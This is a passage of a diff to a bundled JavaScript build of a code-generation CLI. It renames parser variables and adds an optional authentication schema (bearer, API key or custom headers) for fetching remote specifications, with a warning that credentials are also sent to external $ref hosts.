asyncapi, options)).diagnostics; }); } - registerSchemaParser(parser3) { - return registerSchemaParser3(this, parser3); + registerSchemaParser(parser2) { + return registerSchemaParser3(this, parser2); } }; @@ -1004025,7 +1003548,7 @@ var AsyncAPIInputProcessor = class _AsyncAPIInputProcessor extends AbstractInput } }; } - const parser3 = NewParser(3, { + const parser2 = NewParser(3, { includeSchemaParsers: true }); let parserResult; @@ -1004034,10 +1003557,10 @@ var AsyncAPIInputProcessor = class _AsyncAPIInputProcessor extends AbstractInput if (!fs_default.existsSync(filePath)) { throw new Error("File does not exists."); } - const fileResult = fromFile(parser3, filePath); + const fileResult = fromFile(parser2, filePath); parserResult = yield fileResult.parse(parserOptions); } else { - parserResult = yield parser3.parse(rawInput, parserOptions); + parserResult = yield parser2.parse(rawInput, parserOptions); } const { document: document2, diagnostics } = parserResult; if (document2) { @@ -1006574,13 +1006097,13 @@ var XsdInputProcessor = class extends AbstractInputProcessor { const inputModel = new InputMetaModel(); inputModel.originalInput = input; try { - const parser3 = new XMLParser({ + const parser2 = new XMLParser({ ignoreAttributes: false, attributeNamePrefix: "@_", parseAttributeValue: true, trimValues: true }); - const parsedXsd = parser3.parse(input); + const parsedXsd = parser2.parse(input); const xsdSchema = XsdSchema.toSchema(parsedXsd); const metaModels = XsdToMetaModel(xsdSchema); for (const metaModel of metaModels) { @@ -1022378,6 +1021901,22 @@ var LANGUAGE_DESCRIPTION = "Sets the global language for all generators. Either var DOCUMENT_TYPE_DESCRIPTION = "The type of input document being processed (asyncapi, openapi, or jsonschema). [Read more about inputs here](https://the-codegen-project.org/docs/configurations)"; var INPUT_PATH_DESCRIPTION = "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)"; var GENERATORS_DESCRIPTION = "The list of generators to run as part of this configuration. [Read more about generators here](https://the-codegen-project.org/docs/generators)"; +var INPUT_AUTH_DESCRIPTION = "Authentication for fetching remote input specifications via http(s). Ignored for local file paths. WARNING: these credentials are sent to every URL the loader fetches, including external $ref targets on other hosts. See https://the-codegen-project.org/docs/configurations#auth-scope-and-security-considerations for details."; +var zodInputAuth = external_exports.discriminatedUnion("type", [ + external_exports.object({ + type: external_exports.literal("bearer"), + token: external_exports.string().min(1) + }), + external_exports.object({ + type: external_exports.literal("apiKey"), + header: external_exports.string().min(1), + value: external_exports.string().min(1) + }), + external_exports.object({ + type: external_exports.literal("custom"), + headers: external_exports.record(external_exports.string(), external_exports.string()) + }) +]).optional().describe(INPUT_AUTH_DESCRIPTION); var zodProjectTelemetryConfig = external_exports.object({ enabled: external_exports.boolean().optional().describe( "Enable or disable anonymous telemetry collection for this project. Overrides the global telemetry setting in ~/.the-codegen-project/config.json. [Read more about telemetry here](https://the-codegen-project.org/docs/telemetry)" @@ -1022399,6 +1021938,7 @@ var zodAsyncAPITypescriptConfig = external_exports.object({ $schema: external_exports.string().optional().describe(SCHEMA_DESCRIPTION), inputType: external_exports.literal("asyncapi").describe(DOCUMENT_TYPE_DESCRIPTION), inputPath: external_exports.string().describe(INPUT_PATH_DESCRIPTION), + auth: zodInputAuth, ...zodTypeScriptConfigOptions, generators: external_exports.array(zodAsyncAPITypeScriptGenerators).describe(GENERATORS_DESCRIPTION), telemetry: zodProjectTelemetryConfig @@ -1022408,6 +1021948,7 @@ var zodOpenAPITypescriptConfig = external_exports.object({ $schema: external_exports.string().optional().describe(SCHEMA_DESCRIPTION), inputType: external_exports.literal("openapi").describe(DOCUMENT_TYPE_DESCRIPTION), inputPath: external_exports.string().describe(INPUT_PATH_DESCRIPTION), + auth: zodInputAuth, ...zodTypeScriptConfigOptions, generators: external_exports.array(zodOpenAPITypeScriptGenerators).describe(GENERATORS_DESCRIPTION), telemetry: zodProjectTelemetryConfig @@ -1022417,6 +1021958,7 @@ var zodJsonSchemaTypescriptConfig = external_exports.object({ $schema: external_exports.string().optional().describe(SCHEMA_DESCRIPTION), inputType: external_exports.literal("jsonschema").describe(DOCUMENT_TYPE_DESCRIPTION), inputPath: external_exports.string().describe(INPUT_PATH_DESCRIPTION), + auth: zodInputAuth, ...zodTypeScriptConfigOptions, generators: external_exports.array(zodJsonSchemaTypeScriptGenerators).describe(GENERATORS_DESCRIPTION), telemetry: zodProjectTelemetryConfig @@ -1027121,7 +1026663,15 @@ init_dirname(); init_buffer2(); init_process2(); init_esm(); -var parser2 = new Parser3({ +init_fs(); + +// src/utils/refResolvers.ts +init_dirname(); +init_buffer2(); +init_process2(); + +// src/codegen/inputs/asyncapi/parser.ts +var SHARED_PARSER_OPTIONS = { ruleset: { core: false, recommended: false @@ -1027132,7 +1026682,8 @@ var parser2 = new Parser3({ RamlDTSchemaParser(), ProtoBuffSchemaParser() ] -}); +}; +var sharedParser = new Parser3({ ...SHARED_PARSER_OPTIONS }); // src/codegen/inputs/openapi/index.ts init_dirname(); @@ -1027143,8 +1026694,8 @@ init_process2(); init_dirname(); init_buffer2(); init_process2(); +init_json_schema_ref_parser(); init_fs(); -init_browser(); // src/codegen/detection.ts init_dirname(); @@ -1027391,7 +1026942,6 @@ function parseSpecString(specString) { init_dirname(); init_buffer2(); init_process2(); -init_browser(); function parseConfig(configString, format5) { let rawConfig; try {